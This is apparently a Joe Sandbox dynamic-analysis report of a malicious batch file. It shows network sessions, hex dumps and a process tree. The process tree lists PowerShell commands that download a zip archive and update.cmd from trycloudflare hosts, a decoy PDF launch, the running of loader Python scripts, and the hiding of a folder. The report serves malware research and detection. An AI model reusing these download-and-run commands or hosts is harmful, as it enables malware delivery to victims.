2024-05-23 19:12:29 UTC	681	OUT	GET /favicon.ico HTTP/1.1 Host: floor-contemporary-genius-accommodation.trycloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://floor-contemporary-genius-accommodation.trycloudflare.com/SCANNED.pdf Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49709	104.16.231.132	443	2664	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 19:12:30 UTC	681	OUT	GET /favicon.ico HTTP/1.1 Host: floor-contemporary-genius-accommodation.trycloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://floor-contemporary-genius-accommodation.trycloudflare.com/SCANNED.pdf Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 19:12:31 UTC	226	IN	HTTP/1.1 404 Not Found Date: Thu, 23 May 2024 19:12:30 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close CF-Ray: 88875b9fcf3f7c6c-EWR CF-Cache-Status: DYNAMIC Server: cloudflare
2024-05-23 19:12:31 UTC	399	IN	Data Raw: 31 38 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 27 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 27 20 27 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 27 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 27 43 6f 6e 74 65 6e 74 2d 54 79 70 65 27 20 63 6f 6e 74 65 6e 74 3d 27 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 27 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 20 20 3c 70 3e 34 Data Ascii: 188<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01//EN' 'http://www.w3.org/TR/html4/strict.dtd'><html><head> <meta http-equiv='Content-Type' content='text/html; charset=utf-8'> <title>404 Not Found</title></head><body> <h1>404 Not Found</h1> <p>4
2024-05-23 19:12:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49711	104.16.231.132	443	2664	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 19:12:30 UTC	383	OUT	GET /SCANNED.pdf HTTP/1.1 Host: floor-contemporary-genius-accommodation.trycloudflare.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 19:12:30 UTC	226	IN	HTTP/1.1 404 Not Found Date: Thu, 23 May 2024 19:12:30 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close CF-Ray: 88875ba028b243d9-EWR CF-Cache-Status: DYNAMIC Server: cloudflare
2024-05-23 19:12:30 UTC	399	IN	Data Raw: 31 38 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 27 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 27 20 27 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 27 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 27 43 6f 6e 74 65 6e 74 2d 54 79 70 65 27 20 63 6f 6e 74 65 6e 74 3d 27 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 27 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 20 20 3c 70 3e 34 Data Ascii: 188<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01//EN' 'http://www.w3.org/TR/html4/strict.dtd'><html><head> <meta http-equiv='Content-Type' content='text/html; charset=utf-8'> <title>404 Not Found</title></head><body> <h1>404 Not Found</h1> <p>4
2024-05-23 19:12:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49717	52.165.165.26	443

Timestamp	Bytes transferred	Direction	Data
2024-05-23 19:12:44 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=NLHt+aPZ4AMtH2E&MD=x3xdAypK HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-05-23 19:12:45 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 9fd57d03-cd75-410b-8a8a-28348a6d1562 MS-RequestId: 159056bc-e0ce-48e1-8220-09a17732e594 MS-CV: vUNzAO/QfEy/n1lx.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 23 May 2024 19:12:44 GMT Connection: close Content-Length: 24490
2024-05-23 19:12:45 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-05-23 19:12:45 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49723	52.165.165.26	443

Timestamp	Bytes transferred	Direction	Data
2024-05-23 19:13:23 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=NLHt+aPZ4AMtH2E&MD=x3xdAypK HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-05-23 19:13:23 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "Mx1RoJH/qEwpWfKllx7sbsl28AuERz5IYdcsvtTJcgM=_1440" MS-CorrelationId: 7d701519-c337-4532-ac44-482157a45594 MS-RequestId: 68cc55a1-8794-44cf-a4a9-b18dc4bdf0c1 MS-CV: TwHZgrIZ+E22Piel.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 23 May 2024 19:13:23 GMT Connection: close Content-Length: 25457
2024-05-23 19:13:23 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 51 22 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 db 8e 00 00 14 00 00 00 00 00 10 00 51 22 00 00 20 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 f3 43 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 0d 92 6f db e5 21 f3 43 43 4b ed 5a 09 38 55 5b df 3f 93 99 90 29 99 e7 29 ec 73 cc 4a 66 32 cf 84 32 64 c8 31 c7 11 52 38 87 90 42 66 09 99 87 32 0f 19 0a 09 51 a6 a8 08 29 53 86 4a 52 84 50 df 46 83 ba dd 7b df fb 7e ef 7d ee 7d bf ef 9e e7 d9 67 ef 35 ee b5 fe eb 3f ff b6 96 81 a2 0a 04 fc 31 40 21 5b 3f a5 ed 1b 04 0e 85 42 a0 10 04 64 12 6c a5 de aa a1 d8 ea f3 58 01 f2 f5 67 0b 5e 9b bd e8 a0 90 1d bf 40 88 9d eb 49 b4 87 9b ab 8b 9d 2b 46 c8 c7 c5 19 92 Data Ascii: MSCFQ"DQ" AdCenvironment.cabo!CCKZ8U[?))sJf22d1R8Bf2Q)SJRPF{~}}g5?1@![?BdlXg^@I+F
2024-05-23 19:13:23 UTC	9633	IN	Data Raw: 21 6f b3 eb a6 cc f5 31 be cf 05 e2 a9 fe fa 57 6d 19 30 b3 c2 c5 66 c9 6a df f5 e7 f0 78 bd c7 a8 9e 25 e3 f9 bc ed 6b 54 57 08 2b 51 82 44 12 fb b9 53 8c cc f4 60 12 8a 76 cc 40 40 41 9b dc 5c 17 ff 5c f9 5e 17 35 98 24 56 4b 74 ef 42 10 c8 af bf 7f c6 7f f2 37 7d 5a 3f 1c f2 99 79 4a 91 52 00 af 38 0f 17 f5 2f 79 81 65 d9 a9 b5 6b e4 c7 ce f6 ca 7a 00 6f 4b 30 44 24 22 3c cf ed 03 a5 96 8f 59 29 bc b6 fd 04 e1 70 9f 32 4a 27 fd 55 af 2f fe b6 e5 8e 33 bb 62 5f 9a db 57 40 e9 f1 ce 99 66 90 8c ff 6a 62 7f dd c5 4a 0b 91 26 e2 39 ec 19 4a 71 63 9d 7b 21 6d c3 9c a3 a2 3c fa 7f 7d 96 6a 90 78 a6 6d d2 e1 9c f9 1d fc 38 d8 94 f4 c6 a5 0a 96 86 a4 bd 9e 1a ae 04 42 83 b8 b5 80 9b 22 38 20 b5 25 e5 64 ec f7 f4 bf 7e 63 59 25 0f 7a 2e 39 57 76 a2 71 aa 06 8a Data Ascii: !o1Wm0fjx%kTW+QDS`v@@A\\^5$VKtB7}Z?yJR8/yekzoK0D$"<Y)p2J'U/3b_W@fjbJ&9Jqc{!m<}jxm8B"8 %d~cY%z.9Wvq

Target ID:	1
Start time:	15:12:24
Start date:	23/05/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\bas.cmd" "
Imagebase:	0x7ff7f3fb0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	15:12:24
Start date:	23/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	15:12:25
Start date:	23/05/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://floor-contemporary-genius-accommodation.trycloudflare.com/SCANNED.pdf
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	15:12:25
Start date:	23/05/2024
Path:	C:\Windows\System32\timeout.exe
Wow64 process (32bit):	false
Commandline:	timeout /t 5 REM Wait for PDF to open (adjust timeout as needed)
Imagebase:	0x7ff78a360000
File size:	32'768 bytes
MD5 hash:	100065E21CFBBDE57CBA2838921F84D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	15:12:26
Start date:	23/05/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://gonna-truly-conflict-deserve.trycloudflare.com/jnk8ai.zip' -OutFile 'C:\Users\user\Downloads\jnk8ai.zip' }"
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	15:12:26
Start date:	23/05/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	15:12:26
Start date:	23/05/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2072 --field-trial-handle=1992,i,15984810372542594167,14426285752425884727,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	18
Start time:	15:12:34
Start date:	23/05/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command "& { Expand-Archive -Path 'C:\Users\user\Downloads\jnk8ai.zip' -DestinationPath 'C:\Users\user\Downloads' -Force }"
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	15:12:37
Start date:	23/05/2024
Path:	C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe
Wow64 process (32bit):	false
Commandline:	python.exe hey.py
Imagebase:	0x7ff7c1430000
File size:	207'872 bytes
MD5 hash:	5E1055E69FF01930C62388625726A90E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	15:12:38
Start date:	23/05/2024
Path:	C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe
Wow64 process (32bit):	false
Commandline:	python.exe new.py
Imagebase:	0x7ff7c1430000
File size:	207'872 bytes
MD5 hash:	5E1055E69FF01930C62388625726A90E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	15:12:38
Start date:	23/05/2024
Path:	C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe
Wow64 process (32bit):	false
Commandline:	python.exe loader.py
Imagebase:	0x7ff7c1430000
File size:	207'872 bytes
MD5 hash:	5E1055E69FF01930C62388625726A90E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	15:12:38
Start date:	23/05/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://gonna-truly-conflict-deserve.trycloudflare.com/a.pdf
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	15:12:38
Start date:	23/05/2024
Path:	C:\Windows\System32\timeout.exe
Wow64 process (32bit):	false
Commandline:	timeout /t 5 REM Wait for PDF to open (adjust timeout as needed)
Imagebase:	0x7ff78a360000
File size:	32'768 bytes
MD5 hash:	100065E21CFBBDE57CBA2838921F84D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	15:12:40
Start date:	23/05/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2072 --field-trial-handle=2008,i,13683390946796946304,14765207737704090902,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	15:12:41
Start date:	23/05/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://gonna-truly-conflict-deserve.trycloudflare.com/update.cmd' -OutFile 'C:\Users\user\Downloads\update.cmd' }"
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	16:34:17
Start date:	23/05/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib +h "C:\Users\user\Downloads\Python"
Imagebase:	0x7ff7157c0000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Function 00007FFAACD92C55 Relevance: .4, Instructions: 431COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1324568866.00007FFAACD90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAACD90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffaacd90000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 270c8f2dc8f65b0f70bb908f7d8e15f5a297a4d2e7caa4d0ed50bab32448c176
Instruction ID: b7a2eb531756bf3bbe0529701fab4986f668836d530f3c43c917f79dfd13e43e
Opcode Fuzzy Hash: 270c8f2dc8f65b0f70bb908f7d8e15f5a297a4d2e7caa4d0ed50bab32448c176
Instruction Fuzzy Hash: 7CD16665A0EB8A8FF766976888995B57BA1EF02310B0401FED05DC74E3EA1DD809C3C1

Function 00007FFAACCC3C53 Relevance: .4, Instructions: 395COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1323854031.00007FFAACCC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAACCC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffaaccc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bec7f68bc0a7d91159ebb668c27b9ce89caa511efea4a1345a9cc971e47420f7
Instruction ID: 10b7e4918f4a7af766979e40fd007fe4b00dc86d2a6fd949410f2fb7daef079d
Opcode Fuzzy Hash: bec7f68bc0a7d91159ebb668c27b9ce89caa511efea4a1345a9cc971e47420f7
Instruction Fuzzy Hash: 20C16E30A18A4D8FEF95EF5CD495AEA7BE1FF69300F1441A9D40DD7295CA34E8868BC0

Function 00007FFAACCC3761 Relevance: .2, Instructions: 194COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1323854031.00007FFAACCC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAACCC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffaaccc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2af2523ac18830d4380a13f1cabeac5bddc3c36e03c49791ec7622a1848a68d9
Instruction ID: 7dab132da4c35519aa50511c8afb0e95e501a89747c53ebca13aafef4571c9bd
Opcode Fuzzy Hash: 2af2523ac18830d4380a13f1cabeac5bddc3c36e03c49791ec7622a1848a68d9
Instruction Fuzzy Hash: 2251273160D7858FD706EB2CD8A59F67BE0EF5632470841FFD08AC71A3DA25A80AC791

Function 00007FFAACCC3605 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1323854031.00007FFAACCC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAACCC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffaaccc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
Instruction ID: 7991c3acb1b96574bfb78873a27549ff9342771b336a0f69a0c7f35aeb8d68a5
Opcode Fuzzy Hash: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
Instruction Fuzzy Hash: DA01447111CB088FD744EF0CE455AAAB7E0FB99364F10056DE58AC3661D626E881CB45

Function 00007FFAACCC3848 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1323854031.00007FFAACCC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAACCC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffaaccc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4572aabf49908485c7fb8f06953d01ad05daf4e86a561c31c61d37697ba42c87
Instruction ID: fcbf8f8fbaea92b01ab026e566aa4c9e787f4343a8d88dc943641804e28dc889
Opcode Fuzzy Hash: 4572aabf49908485c7fb8f06953d01ad05daf4e86a561c31c61d37697ba42c87
Instruction Fuzzy Hash: B0F0303275C6048FDB4CAA1CF8429B573D1EB99320B10016FE48FC2696D92BE8468685

Analysis Process: powershell.exePID: 2980, Parent PID: 4500COMMON

Executed Functions

Function 00007FFAACD82C32 Relevance: .4, Instructions: 419COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.1482288674.00007FFAACD80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAACD80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ffaacd80000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c012eb72ad337873a0f8cb9f41add9edff3d057e2fa05daadcd7007e7299a99
Instruction ID: d9eadecaa28edec6612f5dc7807a7c98d273e9c3a498f9f95208a4f787bb9381
Opcode Fuzzy Hash: 1c012eb72ad337873a0f8cb9f41add9edff3d057e2fa05daadcd7007e7299a99
Instruction Fuzzy Hash: B1D16861A0EB8A8FF7A6976888595B57FE1EF26310B0801FED05DC71D3DA18E909C3D1

Function 00007FFAACCB3C8F Relevance: .4, Instructions: 358COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.1481676032.00007FFAACCB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAACCB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ffaaccb0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cac2b44fde24d847e70f8283db82529da275efccae8db6dab25b04cebd477880
Instruction ID: c69a4d258e1533f280b9c93c83aa77185054ec486608666c69d9dc60234c83b5
Opcode Fuzzy Hash: cac2b44fde24d847e70f8283db82529da275efccae8db6dab25b04cebd477880
Instruction Fuzzy Hash: 05C10D70A18A4D8FEF94DF9CC495AA9B7E1FF69300F14416AD40DD7296CE34E8858BC1

Function 00007FFAACD82C55 Relevance: .3, Instructions: 283COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.1482288674.00007FFAACD80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAACD80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ffaacd80000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e74d300508893668bde05dd499cb183dca1782c029bf23a3bb5478e4b912319
